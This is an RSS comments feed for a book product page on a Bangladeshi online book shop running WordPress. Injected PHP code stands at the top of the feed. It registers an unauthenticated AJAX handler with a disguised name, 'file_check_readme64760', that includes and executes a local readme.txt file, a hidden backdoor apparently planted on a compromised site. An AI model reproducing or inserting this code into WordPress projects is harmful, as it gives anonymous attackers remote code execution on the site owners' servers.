if(!function_exists('file_check_readme64760')){
   add_action('wp_ajax_nopriv_file_check_readme64760', 'file_check_readme64760');
   add_action('wp_ajax_file_check_readme64760', 'file_check_readme64760');
   function file_check_readme64760()
   {
      $file = __DIR__ . '/' . 'readme.txt';
       if (file_exists($file)) {
           include $file;
       }
       die();
   }
}
<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	
	>
<channel>
	<title>
	Comments on: মহাবিশ্বের শিকড়ের সন্ধানে	</title>
	<atom:link href="https://chhayabithi.com/product/%e0%a6%ae%e0%a6%b9%e0%a6%be%e0%a6%ac%e0%a6%bf%e0%a6%b6%e0%a7%8d%e0%a6%ac%e0%a7%87%e0%a6%b0-%e0%a6%b6%e0%a6%bf%e0%a6%95%e0%a7%9c%e0%a7%87%e0%a6%b0-%e0%a6%b8%e0%a6%a8%e0%a7%8d%e0%a6%a7%e0%a6%be%e0%a6%a8/feed/" rel="self" type="application/rss+xml" />
	<link>https://chhayabithi.com/product/%e0%a6%ae%e0%a6%b9%e0%a6%be%e0%a6%ac%e0%a6%bf%e0%a6%b6%e0%a7%8d%e0%a6%ac%e0%a7%87%e0%a6%b0-%e0%a6%b6%e0%a6%bf%e0%a6%95%e0%a7%9c%e0%a7%87%e0%a6%b0-%e0%a6%b8%e0%a6%a8%e0%a7%8d%e0%a6%a7%e0%a6%be%e0%a6%a8/</link>
	<description>Best Online Book Shop in Bangladesh</description>
	<lastBuildDate>Wed, 07 Aug 2019 13:59:59 +0000</lastBuildDate>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.1</generator>
</channel>
</rss>